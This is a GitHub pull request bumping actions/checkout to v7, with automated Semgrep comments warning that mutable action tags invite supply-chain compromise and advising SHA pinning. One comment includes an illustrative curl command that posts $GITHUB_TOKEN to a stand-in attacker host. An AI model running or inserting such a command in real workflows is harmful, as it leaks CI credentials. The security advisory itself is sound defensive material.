Skip to content

chore(deps): bump actions/checkout from 6 to 7 - #126

Open
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/github_actions/actions/checkout-7
Open

chore(deps): bump actions/checkout from 6 to 7#126
dependabot[bot] wants to merge 1 commit into
mainfrom
dependabot/github_actions/actions/checkout-7

Conversation

@dependabot

@dependabot dependabot Bot commented on behalf of github Jul 1, 2026

Copy link
Copy Markdown
Contributor

Bumps actions/checkout from 6 to 7.

Release notes

Sourced from actions/checkout's releases.

v7.0.0

What's Changed

New Contributors

Full Changelog: actions/checkout@v6.0.3...v7.0.0

v6.0.3

What's Changed

New Contributors

Full Changelog: actions/checkout@v6...v6.0.3

v6.0.2

What's Changed

Full Changelog: actions/checkout@v6.0.1...v6.0.2

v6.0.1

What's Changed

Full Changelog: actions/checkout@v6...v6.0.1

Changelog

Sourced from actions/checkout's changelog.

Changelog

v7.0.0

v6.0.3

v6.0.2

v6.0.1

v6.0.0

v5.0.1

v5.0.0

v4.3.1

v4.3.0

v4.2.2

v4.2.1

... (truncated)

Commits

Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
  • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)

Bumps [actions/checkout](https://github.com/actions/checkout) from 6 to 7.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](actions/checkout@v6...v7)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file github_actions Pull requests that update GitHub Actions code labels Jul 1, 2026
@dependabot
dependabot Bot requested a review from a team as a code owner July 1, 2026 01:22
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file github_actions Pull requests that update GitHub Actions code labels Jul 1, 2026

# checkout the HEAD ref from prNumber
- uses: actions/checkout@v6
- uses: actions/checkout@v7

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/checkout@v7 uses a movable tag, so if v7 is repointed this workflow could run attacker code with repo write and pull-request write access.

More details about this

actions/checkout@v7 pulls code from a movable tag instead of a fixed commit, so this workflow will run whatever commit the owner of actions/checkout later points v7 at. In this job, that action runs before your local scripts and the workflow has contents: write, pull-requests: write, and ${{ github.token }}, so a repointed tag could make the checkout step execute attacker-controlled action code with permission to modify the repo or PRs.

A plausible attack looks like this:

  1. An attacker compromises the actions/checkout release process or gains access to an account that can move the v7 tag.
  2. They repoint v7 to a new commit containing malicious action code.
  3. A maintainer triggers release_notes, or comments run release_notes, and this step runs uses: actions/checkout@v7.
  4. GitHub resolves @v7 to the attacker's new commit and executes it in this workflow.
  5. That malicious code can use the workflow's github.token plus the granted contents: write and pull-requests: write permissions to push changes, rewrite release notes, open or edit PRs, or exfiltrate repository data while pretending to be normal CI.
  6. Because the checkout ref is built from github.event.issue.number or inputs.releasePr, the attacker-controlled action runs specifically in the context of the PR head this job is processing, making the compromise part of your release-notes flow.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action tag with a full 40-character commit SHA in the uses line.
    Change uses: actions/checkout@v7 to uses: actions/checkout@<full-commit-sha>, for example uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.

  2. Keep the pinned version readable by adding the released version as a comment after the SHA, such as uses: actions/checkout@<full-commit-sha> # v7.x.x.

  3. Get the correct SHA from the action's release you intend to use, and pin to that exact commit rather than a tag like @v7. This prevents the referenced code from changing without an explicit workflow update.

  4. Leave the existing with: settings unchanged, including ref: refs/pull/${{ github.event_name == 'issue_comment' && github.event.issue.number || inputs.releasePr }}/head, because the issue is only the mutable uses reference.

Alternatively, if you need to stay on a known stable release line, pin to the commit SHA that corresponds to the current actions/checkout release you already trust, instead of upgrading to a newer release at the same time.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- uses: actions/checkout@v7

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/checkout@v7 is a mutable tag, so a repointed upstream tag could run attacker-controlled code during the release publish job.

More details about this

publish runs actions/checkout@v7, which is a movable tag rather than a specific commit. If the v7 tag is ever repointed upstream, this workflow will execute the new code during releases with this job’s permissions (id-token: write, contents: read) before npm publish --provenance --tag latest runs.

A plausible attack looks like this:

  1. An attacker compromises the actions/checkout release process or gains permission to move the v7 tag.
  2. They repoint actions/checkout@v7 to a commit that adds malicious logic to the checkout action.
  3. The next time this workflow runs in publish, the step - uses: actions/checkout@v7 pulls and executes that attacker-controlled commit automatically.
  4. That malicious action code can use the job’s GitHub token and id-token: write permission to request an OIDC token, tamper with the checked-out repository contents, or interfere with the release flow right before npm publish --provenance --tag latest publishes your package.
  5. This turns a normal release into a supply-chain compromise, where users receive a package produced by attacker-influenced CI code.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action tag with a full 40-character commit SHA in the uses line.
    Change uses: actions/checkout@v7 to uses: actions/checkout@<full-commit-sha> # v7.x.y.

  2. Pin the SHA to the exact upstream release you intend to use, taken from the actions/checkout repository release or tag page, instead of using a major version tag like @v7.
    For example: uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1.

  3. Keep the version comment after the SHA so future updates are easier to review.
    This makes the workflow use an immutable revision, which prevents the action owner from silently changing what runs under the same tag name.

  4. Alternatively, if you need to stay on a specific v7 release line, pin to the commit SHA for that exact v7 release and keep the comment as # v7... so the intended version is still visible.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

runs-on: ${{matrix.os}}
steps:
- uses: actions/checkout@v6
- uses: actions/checkout@v7

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/checkout@v7 uses a mutable tag, so this CI job may execute different action code later if that tag is repointed.

More details about this

actions/checkout@v7 pulls whichever commit the v7 tag currently points to during this CI job. If the owner of actions/checkout is compromised or the tag is silently moved, your test job would run the attacker’s code before npm install and npm test, with access to the repository contents checked out by this step.

A plausible attack is: 1) an attacker gains control of the action publisher or retags v7 to a malicious commit; 2) your workflow starts on push or pull_request; 3) the uses: actions/checkout@v7 step downloads and executes that new action code; 4) the malicious action reads the checked-out source, CI-provided tokens, or other workflow data available in this job and sends them to the attacker. Because the reference is a mutable tag, this change can happen without any change in your repository.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable GitHub Action tag with a full 40-character commit SHA in the uses value.
    Change uses: actions/checkout@v7 to uses: actions/checkout@<full-40-character-commit-sha>.

  2. Keep the action version as an inline comment so the pinned commit is still easy to identify later.
    For example, use uses: actions/checkout@<full-40-character-commit-sha> # v7.x.x.

  3. Get the correct SHA from the official actions/checkout release you want to stay on, and pin to that exact commit instead of the tag.
    This prevents the referenced action code from changing silently if v7 is moved.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- uses: actions/checkout@v7

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/checkout@v7 uses a mutable tag, so this CI job could run attacker-controlled action code if that tag is repointed.

More details about this

actions/checkout@v7 pulls the action by a mutable tag, not a specific commit. If the v7 tag is ever moved, this workflow will run whatever code that tag points to inside your test job before npm install and npm run lint.

A plausible attack looks like this:

  1. An attacker compromises the actions/checkout release process or gains permission to move the v7 tag.
  2. They repoint v7 to a commit that adds a malicious post step or changes the action code.
  3. On the next push or pull_request, this workflow executes uses: actions/checkout@v7 in steps.
  4. That malicious action code now runs on ubuntu-latest in your CI and can read the checked-out repository, inspect workflow-provided tokens, and alter files or outputs used by later steps like Install Dependencies and Lint.
  5. For example, the attacker could silently exfiltrate source code or the job token with a command like curl -X POST https://attacker.example/leak -d "$GITHUB_TOKEN" from inside the compromised action.

Because the reference is @v7 instead of a 40-character commit SHA, the exact code executed by this pipeline can change without any change to this repository.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action reference with a full 40-character commit SHA instead of the version tag.
    Change uses: actions/checkout@v7 to uses: actions/checkout@<full-commit-sha> # v7.x.y.

  2. Use the SHA for the exact actions/checkout release you want to keep, not just v7.
    The fix should look like uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1, but use the SHA that matches your intended v7 release.

  3. Keep the version comment after the SHA so future updates are easier to review.
    This prevents the workflow from silently following a retagged release while still showing the human-readable version.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file github_actions Pull requests that update GitHub Actions code

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants